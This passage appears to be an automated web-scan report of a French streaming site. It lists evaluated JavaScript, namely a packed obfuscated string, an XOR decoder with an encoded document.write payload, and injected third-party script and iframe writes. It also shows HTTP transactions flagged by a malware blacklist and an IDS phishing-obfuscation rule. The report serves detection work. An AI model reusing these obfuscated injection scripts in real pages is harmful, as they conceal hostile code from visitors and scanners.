'af2542b33313y331y371e373o1839213x36162627231t322o12252522331628331f1e1437383x1g1c1r2b133e131e181g151d1g1c1r1d1j1e171g181e1h1c1s3e122e1b3g191d131c152c1t3e132g1h3e1b2d1j1e193f1h3g163c1h3e1k3d1d1e1p2g1k3e1l1c1k1c1g1e1w1e112e191e1j1b1b3g1f1e142d1s3c151c1e1e1e1e1e1c1i3c192d1b1f1k1f1j3e1f1e1l3c1i1f1g2f1e1c1k3c131c1p2g171f1j3c1k1c1u1e1b1e1p1g1b1d1q3e1g1c1a3g191f171e151e191e1j1g1o1g141e1j1e1l2c1j2e1g1e1v1d1l1e1f3d112e1e2f1r3c182d1t1c1j2f1s1e1q2c1u1c112c1s1e1y2g1t2c1u2c1v3c1y2g1r3e1x2c1u1c1x2d1s1e1t2e1r2c1z2e1t3c1d2e1r1e142d1v2c1l2c1s2e1y2g1r1c1z2c1t1c172e1t3e1q2c1t1c162c1t2e1q2e1s2c152e1v2c1t2e1r2e1p2e1v2c1q2c1s1e1j2e1t2c1h2c1v2c1j2e1t2e1y2c1v3c152c1t2e1g2e1t3c1y2c1v2c1y2f1r2e1y2d1t3c1x2c1r1e1a2e1s1c102c1v2c1s2g1s2e1d2d1t2c1v2d1s1e162g1r3c1k2d1u1c1t2e1r2e1t2c1t2c1v2c1r2e1t2e1r2c1f1c1g1c1e1e1e1e1g321412141m0m3q1t3s221a291s3b3v2z1d3o01101m272z3q193v2e1i1b3v1z1k1a21173s3y1z31141z153v3b2o1722341u3s2t223n113u242e133x392o1930361z3z1o233e1g3c2b361y2v3s11101o360w11102b213v2139381w2v3u1z121m3c182t213n1z2238251q25353c162z2v253c183s27111z3a231q27333e142z281w1c3s271y3s29163s291s3u271o2e1z3w261z113u281z3u263s3o3o0z113z3b3w121o252e2o1z1z21141z101o253e3o2m37303q1z3z2139233v3028143q0z1c1e2t2e292o142s11101d211o113z3825353w253u273r153621111z3a371z21141j1z1c1o3c182t3z2r3c2b213v212o1i27312e393y121m142r1g1d2d1h1e1e2e1k3g1k1g1k1d1f2b1j3e1q1g162g1b1e1e3c181b1g3g1d3g1k1d1e2c1j3e1d2e1g3f1g1c1y1e1h3d173f163e1g3d1a3c1a1d171f1c3g121d183e1r3d1c1f1k1f1d2d1t3c1r2b183d151e1k2d1i3e1m1e1q2e1q2e1s2d1t2c1i3d1h3g1a3f141d1h3c1m1e1k3g1c1d1c2d1g1e1i1d1d1e1k3f1e1d1f1d1e3e1k3g1d3g173e1w1e1b3e1a3e153f1s2e1e1d1i1d1e3e1c2g1d1d1l3c1i2c1u1f171f1e1d191d1g3e1i3f1e1g161b1k1e1h3e1c1f1i3g193d1h3b163d123f1h1f1f2c143e1f3e1j1e1a2e1s1e1d3d1m3c1j2f1o1e1q2e1i2d1h1e1h1e151e1i1c1q1d1v3e1d3g1k3f141d1t1e1g1e121e1d1g1k3e1c1d1u1b121g1d3f152d1a3c1b1d1k1g173g1s1e1e1c1e3d1e3f1k3e161d1e1e1d1c153g1a2f1c1e193e161c153g103f1d1e1e1e1b1d1c3f1e1f121d193e1f3d1e3g1h1e1b3c1f2d1r3d1c1f1p3e133d1b2c172c153g123g1g3d1g1e1b3c1p1f142f1b2c122e1i3d1c1e133g1c3d1m3b1a3e121f171e1j3c1h1b1d1e101g193e1c1d141d1c3e123f1j1g1s3d1d3d1a2d1p3e1g3e1c3e122e1w1e1o3f162e1c2d1g1d1e3e1d1e1u2g1d3e1f2d1d1e1g1g1c1e1g3d1d3d1i2e1g1d123e1d3e1k1b1k3e1k1f161e1i3d1i2e1i3d1s2f1p1e192e1s1d172c1u3g1b3f123e1l3c1i2b163e1h3d122e1r1e1f1b1g1g1b3f1i3d1s1e1c2d1e2g153g1f121k1p3e1d3d1m3d1g2d1i1f1e3g121e1f3b1e1d1e3e1q1d1k3d162e1f1d1c3g1h1d1a1c161e1k1c103g183g1d3b1e3c1e1e1a1e1g1f122e163d193e143e1w2g153e1e3d1e1d1a3e1b3f1g2e1f3d1f1e1b3g1p1g1d3d1e2d1l2c1o2e1s2g132e1q3d163d1i3d172f191e1i1d1h2d1h3g1c3f103e1y1b1d1e1e3f121e152d193e1j1b1c3g1k3e1c1d1u1c1g2e121f181f1c1d173d1b3c1e1f1f3f1a2e1r1e1h2d1d3f1d1e123c1a1d1g3d1d3e1k1g1b3e1h3e1h3d121d1s3f121d1d1d1e3e163f1a1d1p1b1e3c1l3e1z3g122f1i1d141e1j2d181f1q3f1e3c1a1e1g1d1k1g1p2g1e1d1e1c1g3e1i2f183f193b1k3d1m1e1e1f1e1g1i1c1e1e1d1c1d3g193e121e161d193d1g3e1o1f1g1d143e1b2d153f1f3f152d1i3d1r3d1i3e173f1s3d1m3d1r3d1i3g1r3g1j1e1w3c161c1d3d161g163d1u3c192d1h3f1p1e122d162e1w3e1d2e143e173c123d1v2c1i3g1s1f161c1i3d162d1e2e1u1f1x1c1m3d1i2e121f1i3g101d1f3d1i3c123g1e3g1p1d1f1d1y1e1u1f1p1f181d1c2e1i3c153g1f1f123d1a1c193d163g1c3f1k3c1m1d1h1d103g1p3e141c1a2e1i1d103e1c2g1e3c183c1r3d1i1f1g1g193d1e3e1k2e191f181f1g1b1d3d1i3b1a1g1h3f1d1c1y3e141e122e142g1k1d1a2d1t2c1d1f143f1i2e1r1e1f1b1t1g1d1g1i3d1e3e1f1d1g3e1b2g121e1g1b163d1u3f1e1e121i2f1q1e191e1b3d1f3d191f1g1f1o1c1e2c1f3e1e2e1b2f1d2c1k1b1e1e1c3g1b3f1q3c1w3e1s1e1d1g1g1e1d3d1j3d1l1e1f3f1a1f1c3e1b3c1k3e1e2e1g3f1i3e161d181d1s1f1b1e1g1d193c1j3c1c2f1i3g1a3d1d3c1y2c1t2e1k1e1p2c1c1e1k1e1a1g121f1b3b1d1e143d1i3d152g1i3d1e1d1d1d1a1g1f2g161e1g3e1d1d1c3f1e1f1a1e1i1d1g3c161f1a3g1p3e181e1h3d173f1f1g1i3d1e3c1a3e1d3g1f1f121c181b183d1f3f1d1f1i2e1g3d1a3e193g123f141d173e1e1d193f1b2e1d3d1j1c1i1b1i1g173f1d3e1h1e181d1h1g163e141c1g3d1h3e1d1g1g3e131e1j1d1e3d121f123f1b3b193d1e1c1o3f1h1g1e3d1i3d1m1e1j3f1d2g1h1d1e1d181c1e1f123f141e1l3c183d1a3g173e172d193e121d121f161g101d193e121d1u1f1j3g1d1e1r3e1m1d1b3e1q2g103d1l1c1b3e153f1c3f1k1c1e3e1g2e1y1f1p3e1y2c192c1r1e1q3f161g1c1d1a1d161c1r3f1d1g1s1d181d1g1c163g1c3f143c193e1j3e1g3g1g3e1c3c1a3c1w3e183f1a1g1a3e1k3e1m3e1c3g183g122d1i1d1s3c1c1f1d3f1s2c163e143e1d1g1e1g1e3e1h3e1e1e1f3g1d3f1f2d1i2d183c171e1d2f1d3e1e3c1s1d133f141d193e1a3d1b3d1h1g163f1f2e1e3d1k2d1k3d1f1e131e162c1r2c1d3g151f1i3d1e3e1d3c1g3e1c1g151d1g3c1c3d1o1g1k1f1h3c1f3e182e101f10141g1d2f2h1g2q1k1u1q1m221m', '9358426d26a67433bc19934e64cc89de'));
                                    

#6 JavaScript::Eval (size: 1005, repeated: 1) - SHA256: 6918038fbf3f4825f1bb378329f9c102974c5d2fd2909a8145d7266def077ba5

                                        document.write(td1d9ced9f('%3e%71%60%70%60%6b%7a%19%73%7c%6b%62%3c%24%70%66%76%7b%2a%60%66%75%64%76%64%71%6d%6c%71%20%35%08%00%75%71%7c%1b%7c%4d%6b%6d%74%66%66%5a%78%62%65%1b%38%19%73%6b%6c%2f%62%66%66%7d%6a%64%69%77%2b%71%61%66%66%70%79%60%78%3c%7c%66%64%75%62%62%24%66%29%17%7e%44%68%6e%72%63%68%5e%74%67%67%1e%34%1b%6a%68%62%70%68%62%6d%76%2e%73%65%6d%60%78%77%64%75%3e%7a%1f%48%6d%6c%77%6f%6a%57%77%64%61%29%77%64%6a%68%62%63%6c%23%27%5c%3b%39%25%5a%2e%63%28%1d%27%2e%2c%24%77%64%6b%6f%66%62%61%24%2c%24%26%62%22%19%26%20%35%33%26%2d%39%0e%08%6b%6a%6b%72%6c%60%69%75%2d%73%72%6a%72%6c%23%2f%3d%72%66%75%6e%6f%76%1c%71%79%67%60%35%27%73%60%73%75%2e%6c%63%77%61%7a%66%78%6e%6f%77%25%19%72%74%61%3e%20%6f%77%7a%69%39%2a%2a%70%76%73%2e%6f%6f%66%72%6e%68%2d%66%6a%6a%2e%76%67%75%72%25%6b%6e%69%3e%76%6c%75%64%39%32%30%37%3a%36%3d%3e%37%21%75%62%65%39%25%28%4c%66%6a%7f%61%6e%5a%75%62%65%2f%25%23%3c%2e%2c%33%19%1f%08%0d%3d%2e%77%61%73%69%67%77%34%3d%2e%76%66%77%68%6a%70%3f25845368%35%33%32%31%38%34%39'));
                                    

#7 JavaScript::Eval (size: 261, repeated: 1) - SHA256: 92378f7c4441920fb3ddd1320d2758bdfec2bae223a99eb537fb24313f7b89c5

                                        function td1d9ced9f(s) {
    var r = "";
    var tmp = s.split("25845368");
    s = unescape(tmp[0]);
    k = unescape(tmp[1] + "604460");
    for (var i = 0; i < s.length; i++) {
        r += String.fromCharCode((parseInt(k.charAt(i % k.length)) ^ s.charCodeAt(i)) + 1);
    }
    return r;
}
                                    

#8 JavaScript::Eval (size: 2211, repeated: 1) - SHA256: fc1f3ec92ab2eb0dffd0ecc88d1429ad944bb54b14c74a1addf7b07f9775d90b

                                        var l1l1ll1l = 'hqq.tv';
if (window.location.hostname.replace("www.", "") != l1l1ll1l.replace("www.", "")) {
    var ll1l1 = '"Script" works only on "hqq.tv".';
    if (ll1l1 !== '') {
        alert(ll1l1);
    }
    throw new Error('');
}
$('#link').click(function(e) {
    if (e.originalEvent !== undefined) {
        after_click();
    }
});
var redirect = false;
var videokeyorig = "R3ZIRGVsaHI3RlNFeWxrdkpFK2lvdz09";
imgsrc = "//cdn-s8.hqq.tv/flv/api/files/thumbs/2017/02/04/1486211933v41kb-640x480-1.jpg";
var isPhantom = !!window.callPhantom;
if (!isPhantom) {
    var isPhantom = !!window._phantom;
}
if ((!isPhantom) && (ch_video_sup())) {
    document.domain = "hqq.tv";

    function afterCf(cfInfo) {
        if (typeof(cfInfo.ip) !== 'undefined') {
            ip.innerHTML = btoa(cfInfo.ip);
            if (cfInfo.loc != 'MA') img.style.display = '';
        }
    }
    getCloudflareInfo();
    load_ad = true;

    function after_click() {
        setTimeout("alert('Too long loading player, if you have adblock - disable it, and refresh page.')", 10000);
        $("#link").css({
            cursor: "wait"
        });
        try {
            function load_pl(token) {
                jQuery.getJSON('/player/ip.php?type=json&rand=' + Math.random().toString().substring(2), function(data) {
                    var need_captcha = "0";
                    var rand = Math.random().toString().substring(2);
                    if (typeof data.error != 'undefined') {
                        var result = confirm(data.error);
                        if (result) {
                            after_click();
                        }
                    } else if (typeof data.ip != 'undefined') {
                        if (typeof data.need_captcha != 'undefined') {
                            need_captcha = data.need_captcha;
                        }
                        setTimeout(function() {
                            self.location.replace("/sec/player/embed_player_" + rand + ".php?iss=" + data.ip + "&vid=R3ZIRGVsaHI3RlNFeWxrdkpFK2lvdz09&at=e89b04e9f3fef915594babdb5726c0d0&autoplayed=yes&referer=on&http_referer=aHR0cDovL2Rwc2VyaWVzLmluZm8vcG93ZXItc2Fpc29uLTEv&pass=&embed_from=&need_captcha=" + need_captcha + "&hash_from=&secured=0&gtoken=" + token);
                        }, 1);
                    }
                });
            }
            var gt = $.cookie('gt');
            if (!gt) {
                grecaptcha.ready(function() {
                    grecaptcha.execute('6Ldf5F0UAAAAALErn6bLEcv7JldhivPzb93Oy5t9', {
                        action: 'watch_video'
                    }).then(function(token) {
                        load_pl(token);
                    });
                });
            } else {
                load_pl("");
            }
        } catch (e) {
            var result = confirm('Error while loading player. Try to disable Adblock or VPN and refresh page. ');
            if (result) {
                after_click();
            }
        }
    }
}
if (load_ad) {
    try {
        ad300.src = "//hqq.tv/js/betterj/ban/300-250_exo.html";
        largeadcenter.style.display = "none";
        ad468.src = "";
        spans.style.display = "none";
        skrin.href = "//c.hqq.tv/images/skrin.png";
    } catch (e) {}
}
load_banner();
                                    

Executed Writes (4)

#1 JavaScript::Write (size: 82, repeated: 1) - SHA256: e4b6e3a8a7cd140ae8e6adc72feeb5c333f6548089d8b56ffd514d0c1be508d4

                                        < a href = http: //www.noowho.com/Show-23733598.html target=_blank>27 online users</a>
                                    

#2 JavaScript::Write (size: 116, repeated: 1) - SHA256: 8822692e1b99c6f24f5ca5fb3cece974de5e578ac8667d911d0c0b51e7962cba

                                        < iframe id = "smrtdiv-17976900.146289553"
width = "854"
height = "480"
border = "0"
frameborder = "0"
scrolling = "no" > < /iframe>
                                    

#3 JavaScript::Write (size: 87, repeated: 1) - SHA256: 559acc74dc1598ab0b432ff202cb973463ed5c4b148460e7244e52820f4afa61

                                        < script type = "text/javascript"
src = "http://www.noowho.com/text.php?site=23733598&ref=" >
                                    

#4 JavaScript::Write (size: 315, repeated: 1) - SHA256: a0fc9c1a644238b5976ece3f42a769cba2f49357a0598c40f2aafb1bd1b0dc80

                                        < script type = "text/javascript" >
    try {
        Noowho_ref = top.document.referrer;
    } catch (e) {
        Noowho_ref = document.referrer;
    }
Noowho_ref.replace(/[<>"]/g, '').replace(/&/g, '%26');
document.write('<script type="text/javascript" src="http://www.noowho.com/text.php?site=23733598&ref=' + Noowho_ref + '">'); < /script></script >
                                    


HTTP Transactions (72)


Request Response
                                        
                                            GET /power-saison-1/ HTTP/1.1 
Host: dpseries.info
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive

                                         
                                         185.66.141.145
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
                                        
Server: nginx
Date: Fri, 09 Nov 2018 15:49:26 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding, Accept-Encoding,Cookie,User-Agent
Last-Modified: Fri, 09 Nov 2018 14:11:09 GMT
Etag: W/"10acd-57a3bec48269f"
Cache-Control: max-age=0, public, public
Expires: Fri, 09 Nov 2018 15:49:26 GMT
X-Powered-By: W3 Total Cache/0.9.6
Pragma: public
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Nginx-Cache-Status: MISS
X-Server-Powered-By: Engintron
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   15924
Md5:    45e4f038a94ac310ebd21353f0d98ccb
Sha1:   9686538a4f699588df463a277844f873f95b3bf8
Sha256: 8b1c08eb7eac787bd3240aeeaf2fd14b888aa23df59765d13a4d225ecb4a91c0

Alerts:
  Blacklists:
    - fortinet: Malware
  IDS:
    - ETPRO CURRENT_EVENTS Possible Phishing Landing Obfuscation 2016-02-26
                                        
                                            GET /wp-includes/js/wp-emoji-release.min.js?ver=4.9.8 HTTP/1.1 
Host: dpseries.info
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://dpseries.info/power-saison-1/

                                         
                                         185.66.141.145
HTTP/1.1 200 OK
Content-Type: application/x-javascript
                                        
Server: nginx
Date: Fri, 09 Nov 2018 15:49:27 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Thu, 02 Aug 2018 22:04:48 GMT
Etag: W/"2efa-5727affe06ab3"
X-Powered-By: W3 Total Cache/0.9.6
Expires: Sun, 09 Dec 2018 15:49:27 GMT
Cache-Control: max-age=2592000
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Nginx-Cache-Status: HIT
X-Server-Powered-By: Engintron
Pragma: public
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   4421
Md5:    9b6103cba40a3d63e761089e4fae670e
Sha1:   2aa0b725626ddd922b5c6e52af67df56f150c86c
Sha256: 4837184ee4ab9f6a19734ff167e8602b2dc3aaf1b89c121588c0af9974590de6

Alerts:
  Blacklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/themes/streaming/images/bg.png HTTP/1.1 
Host: dpseries.info
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://dpseries.info/power-saison-1/

                                         
                                         185.66.141.145
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Server: nginx
Date: Fri, 09 Nov 2018 15:49:27 GMT
Content-Length: 489
Connection: keep-alive
Last-Modified: Tue, 09 Feb 2016 09:15:39 GMT
Etag: "1e9-52b52c2cbc4c0"
X-Powered-By: W3 Total Cache/0.9.6
Expires: Tue, 08 Jan 2019 15:49:27 GMT
Cache-Control: max-age=5184000
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Nginx-Cache-Status: HIT
X-Server-Powered-By: Engintron
Pragma: public
Accept-Ranges: bytes


--- Additional Info ---
Magic:  PNG image, 40 x 1801, 8-bit colormap, non-interlaced
Size:   489
Md5:    daa6cbb15b25d8f2b866c47bca22742d
Sha1:   0f7577c5175a68c6595441e4457b9cfbc89b6802
Sha256: 1ae2cb2bf2457f33ae9feb6e5cd946b59b1bd7e8209a502f39098d74961df2a6
                                        
                                            GET /wp-content/themes/streaming/logo/logo.png HTTP/1.1 
Host: dpseries.info
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://dpseries.info/power-saison-1/

                                         
                                         185.66.141.145
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Server: nginx
Date: Fri, 09 Nov 2018 15:49:27 GMT
Content-Length: 9138
Connection: keep-alive
Last-Modified: Sat, 04 Jun 2016 12:21:05 GMT
Etag: "23b2-53472df8c8e40"
X-Powered-By: W3 Total Cache/0.9.6
Expires: Tue, 08 Jan 2019 15:49:27 GMT
Cache-Control: max-age=5184000
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Nginx-Cache-Status: HIT
X-Server-Powered-By: Engintron
Pragma: public
Accept-Ranges: bytes


--- Additional Info ---
Magic:  PNG image, 200 x 55, 8-bit/color RGBA, non-interlaced
Size:   9138
Md5:    1203e8f84f2f21d2386133e35c1a253c
Sha1:   301da935807074305fcfbb5f79d969c580d48d5a
Sha256: 13946815e7d54218e3094ba613440973f0b3d10477b6799a7ccdb33439731748
                                        
                                            GET /wp-content/themes/streaming/images/arrow1.png HTTP/1.1 
Host: dpseries.info
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://dpseries.info/power-saison-1/

                                         
                                         185.66.141.145
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Server: nginx
Date: Fri, 09 Nov 2018 15:49:27 GMT
Content-Length: 333
Connection: keep-alive
Last-Modified: Thu, 16 Jun 2016 23:43:41 GMT
Etag: "14d-5356dced00540"
X-Powered-By: W3 Total Cache/0.9.6
Expires: Tue, 08 Jan 2019 15:49:27 GMT
Cache-Control: max-age=5184000
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Nginx-Cache-Status: HIT
X-Server-Powered-By: Engintron
Pragma: public
Accept-Ranges: bytes


--- Additional Info ---
Magic:  PNG image, 11 x 11, 8-bit colormap, non-interlaced
Size:   333
Md5:    5dc776b892fe2d909a6b0283900eec8d
Sha1:   80313b849a28d60396e3d48aeab710015cf66a80
Sha256: 51d891c96d39ab18bdb07bb9410c79aba47ac602d19ca9a47c6bcf7a2ff9fc43
                                        
                                            GET /js/ad.js HTTP/1.1 
Host: js.srcsmrtgs.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://dpseries.info/power-saison-1/

                                         
                                         142.93.132.153
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8
                                        
Connection: close
Proof: close
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
Cache-Control: no-cache, private, no-store, must-revalidate, max-stale=0, post-check=0, pre-check=0
Etag: W/"1ef1-2tcg6MoljTRl1yXNz2K3HcjAUJo"
Vary: Accept-Encoding
Content-Encoding: gzip
Date: Fri, 09 Nov 2018 15:49:34 GMT
Transfer-Encoding: chunked


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   3240
Md5:    9a7f737e20e580ea1884b0954cc9de0a
Sha1:   793af9f0ee7b0f52b0117ea0d1c0dbdccc8d0bf1
Sha256: f060d3813d5e9b01c837d52513cbe20b42c1225aa6c6924cfb56c2aacb0c9374
                                        
                                            GET /wp-content/themes/streaming/fav.ico HTTP/1.1 
Host: dpseries.info
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive

                                         
                                         185.66.141.145
HTTP/1.1 200 OK
Content-Type: image/x-icon
                                        
Server: nginx
Date: Fri, 09 Nov 2018 15:49:27 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Etag: W/"2ab-52b52c2cbc4c0"
X-Powered-By: W3 Total Cache/0.9.6
Expires: Tue, 08 Jan 2019 15:49:27 GMT
Cache-Control: max-age=5184000
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Nginx-Cache-Status: REVALIDATED
X-Server-Powered-By: Engintron
Pragma: public
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   711
Md5:    3f675f0506942a011c34cc9d2bc943e9
Sha1:   42afcc7938f601d1673d29d465fcc0f04d4c540b
Sha256: 314fedbb47bbb083bb920abcc70d7f9f8a19d1896422fff6e1136fb78399e068

Alerts:
  Blacklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/themes/streaming/images/navbar.png HTTP/1.1 
Host: dpseries.info
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://dpseries.info/power-saison-1/

                                         
                                         185.66.141.145
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Server: nginx
Date: Fri, 09 Nov 2018 15:49:27 GMT
Content-Length: 266
Connection: keep-alive
Last-Modified: Tue, 09 Feb 2016 09:15:39 GMT
Etag: "10a-52b52c2cbc4c0"
X-Powered-By: W3 Total Cache/0.9.6
Expires: Tue, 08 Jan 2019 15:49:27 GMT
Cache-Control: max-age=5184000
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Nginx-Cache-Status: HIT
X-Server-Powered-By: Engintron
Pragma: public
Accept-Ranges: bytes


--- Additional Info ---
Magic:  PNG image, 9 x 31, 4-bit colormap, non-interlaced
Size:   266
Md5:    39153b307de57ddc0f12ddb3d939900b
Sha1:   3f8417ebd12d382cb5f862d3ef772f8d00c93626
Sha256: 72014c6d61e7ffc04c67aebc39e08f72e22254e09d4ff26ac819162e1519ce06
                                        
                                            GET /wp-content/themes/streaming/images/hepsi.png HTTP/1.1 
Host: dpseries.info
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://dpseries.info/power-saison-1/

                                         
                                         185.66.141.145
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Server: nginx
Date: Fri, 09 Nov 2018 15:49:27 GMT
Content-Length: 21188
Connection: keep-alive
Last-Modified: Tue, 09 Feb 2016 09:15:39 GMT
Etag: "52c4-52b52c2cbc4c0"
X-Powered-By: W3 Total Cache/0.9.6
Expires: Tue, 08 Jan 2019 15:49:27 GMT
Cache-Control: max-age=5184000
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Nginx-Cache-Status: HIT
X-Server-Powered-By: Engintron
Pragma: public
Accept-Ranges: bytes


--- Additional Info ---
Magic:  PNG image, 1000 x 800, 8-bit/color RGBA, non-interlaced
Size:   21188
Md5:    6177f30d80cad9bbbdce1f8700e8af91
Sha1:   5ef03f2b046a84a4ee55711700b9ad616c4a2e9f
Sha256: 481a62844de2449e20d0d9fc86ad0b9402301996db3226277e81aba89303a83b
                                        
                                            GET /wp-content/themes/streaming/images/facebook_paylas.png HTTP/1.1 
Host: dpseries.info
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://dpseries.info/power-saison-1/

                                         
                                         185.66.141.145
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Server: nginx
Date: Fri, 09 Nov 2018 15:49:27 GMT
Content-Length: 1922
Connection: keep-alive
Last-Modified: Tue, 09 Feb 2016 09:15:39 GMT
Etag: "782-52b52c2cbc4c0"
X-Powered-By: W3 Total Cache/0.9.6
Expires: Tue, 08 Jan 2019 15:49:27 GMT
Cache-Control: max-age=5184000
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Nginx-Cache-Status: HIT
X-Server-Powered-By: Engintron
Pragma: public
Accept-Ranges: bytes


--- Additional Info ---
Magic:  PNG image, 144 x 26, 8-bit colormap, non-interlaced
Size:   1922
Md5:    3eae354bf0e7b6a3099a3b2a78b91b1e
Sha1:   8765d2ed56b38db01789971e92791909a71c6064
Sha256: 8c3406a94905aa467180438b4209197183ccb0cd06371dd52099bbac8d9557b9
                                        
                                            GET /img/Game-of-Thrones-Saison-6.jpg HTTP/1.1 
Host: dpseries.info
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://dpseries.info/power-saison-1/

                                         
                                         185.66.141.145
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Server: nginx
Date: Fri, 09 Nov 2018 15:49:27 GMT
Content-Length: 5617
Connection: keep-alive
Last-Modified: Fri, 22 Apr 2016 12:36:40 GMT
Etag: "15f1-53112141a6600"
X-Powered-By: W3 Total Cache/0.9.6
Expires: Tue, 08 Jan 2019 15:49:27 GMT
Cache-Control: max-age=5184000
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Nginx-Cache-Status: HIT
X-Server-Powered-By: Engintron
Pragma: public
Accept-Ranges: bytes


--- Additional Info ---
Magic:  JPEG image data, EXIF standard
Size:   5617
Md5:    918168b05edabe66d47cb9419c820ace
Sha1:   49e81d93891bf5ad1a576a109d0c2633b8892dff
Sha256: 2b33e13b067462ac31fcd295daf567b60e5b294979ad3807a3b586cd857fb37a
                                        
                                            GET /wp-content/themes/streaming/font/oswald.woff HTTP/1.1 
Host: dpseries.info
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
